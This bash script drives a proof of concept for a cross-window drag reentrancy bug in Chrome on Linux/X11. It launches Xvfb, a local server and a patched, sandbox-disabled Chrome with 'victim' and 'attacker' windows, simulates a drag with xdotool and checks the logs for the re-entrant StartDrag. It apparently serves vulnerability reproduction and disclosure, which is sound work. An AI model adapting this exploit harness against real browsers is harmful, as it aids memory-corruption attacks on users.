#!/bin/bash
# Driver for the X11 cross-window drag-reentrancy POC.
#
# Requires: a patched Chrome (see chromium-changes.patch) on Linux/X11,
# Xvfb, and xdotool. Set CHROME / XVFB / XDOTOOL if they're not on PATH.
set -u

HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
XVFB="${XVFB:-Xvfb}"
XDOTOOL="${XDOTOOL:-xdotool}"
DISPLAY_NUM="${DISPLAY_NUM:-:99}"
PORT=8765

LOG="$HERE/chrome.log"
rm -f "$LOG"

cleanup() {
  kill $XVFB_PID $SRV_PID $CHROME_PID 2>/dev/null
  wait 2>/dev/null
}
trap cleanup EXIT

echo "[*] starting Xvfb on $DISPLAY_NUM"
"$XVFB" "$DISPLAY_NUM" -screen 0 1920x1080x24 -ac -nolisten tcp \
    >/tmp/xvfb-poc.log 2>&1 &
XVFB_PID=$!
sleep 1

echo "[*] starting HTTP server on :$PORT"
python3 "$HERE/server.py" >/dev/null 2>&1 &
SRV_PID=$!
sleep 1

echo "[*] launching Chrome (W1=victim, W2=attacker popup)"
DISPLAY="$DISPLAY_NUM" "$CHROME" \
  --no-sandbox --no-first-run --no-default-browser-check \
  --disable-gpu --disable-software-rasterizer \
  --disable-popup-blocking --disable-features=FirstRunExperience \
  --ozone-platform=x11 \
  --user-data-dir=/tmp/chrome-poc-profile-$$ \
  --window-position=0,0 --window-size=800,800 \
  --enable-logging=stderr --v=0 \
  "http://127.0.0.1:$PORT/victim.html" \
  >"$LOG" 2>&1 &
CHROME_PID=$!

echo "[*] waiting for both windows to map..."
sleep 8

echo "[*] X11 window tree (before reposition):"
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" search --name "." 2>/dev/null | while read wid; do
  geo=$(DISPLAY="$DISPLAY_NUM" "$XDOTOOL" getwindowgeometry "$wid" 2>/dev/null | tr '\n' ' ')
  name=$(DISPLAY="$DISPLAY_NUM" "$XDOTOOL" getwindowname "$wid" 2>/dev/null)
  echo "    wid=$wid name='$name' $geo"
done

# No window manager under Xvfb, so both top-levels land at (0,0). Reposition
# W2 so it doesn't cover W1, then raise W1 so the synthetic drag hits it. (On
# a real desktop the WM would have placed W2 at the requested left=900.)
W1=$(DISPLAY="$DISPLAY_NUM" "$XDOTOOL" search --name "Victim Window" | head -1)
W2=$(DISPLAY="$DISPLAY_NUM" "$XDOTOOL" search --name "Attacker Window" | head -1)
echo "[*] W1=$W1 W2=$W2; moving W2 to (900,50) and raising W1"
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" windowmove "$W2" 900 50
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" windowsize "$W2" 700 600
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" windowraise "$W1"
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" windowfocus "$W1"
sleep 1

echo "[*] X11 window tree (after reposition):"
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" search --name "." 2>/dev/null | while read wid; do
  geo=$(DISPLAY="$DISPLAY_NUM" "$XDOTOOL" getwindowgeometry "$wid" 2>/dev/null | tr '\n' ' ')
  name=$(DISPLAY="$DISPLAY_NUM" "$XDOTOOL" getwindowname "$wid" 2>/dev/null)
  echo "    wid=$wid name='$name' $geo"
done

echo "[*] simulating user drag in W1 (mousedown + move)"
# W1 is at (0,0) 800x800. Browser chrome (tabstrip+omnibox) is ~110px, so the
# content area is roughly y>=110. Drag from (300,400) to (300,500) and hold.
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" mousemove 300 400
sleep 0.3
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" mousedown 1
sleep 0.2
# Move past the drag threshold to start the OS drag (enters nested RunLoop).
for y in 410 420 430 440 450 460 470 480 490 500; do
  DISPLAY="$DISPLAY_NUM" "$XDOTOOL" mousemove 300 $y
  sleep 0.2
done
echo "[*] holding drag for 4s while attacker fires StartDragging IPC..."
sleep 4
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" mouseup 1
sleep 2
echo "[*] sending Escape to cancel any leftover drag loops"
DISPLAY="$DISPLAY_NUM" "$XDOTOOL" key Escape
sleep 2

echo "[*] terminating Chrome"
kill $CHROME_PID 2>/dev/null
wait $CHROME_PID 2>/dev/null

echo
echo "================ POC-relevant log lines ================"
grep -E '\[POC-' "$LOG" || echo "(no POC lines found — see $LOG)"
echo "========================================================="

if grep -q 'VULNERABILITY TRIGGERED' "$LOG"; then
  echo
  echo "[+] SUCCESS: re-entrant X11Window::StartDrag observed (depth>=2)."
  exit 0
else
  echo
  echo "[-] Did not observe reentrancy. Check $LOG for details."
  exit 1
fi
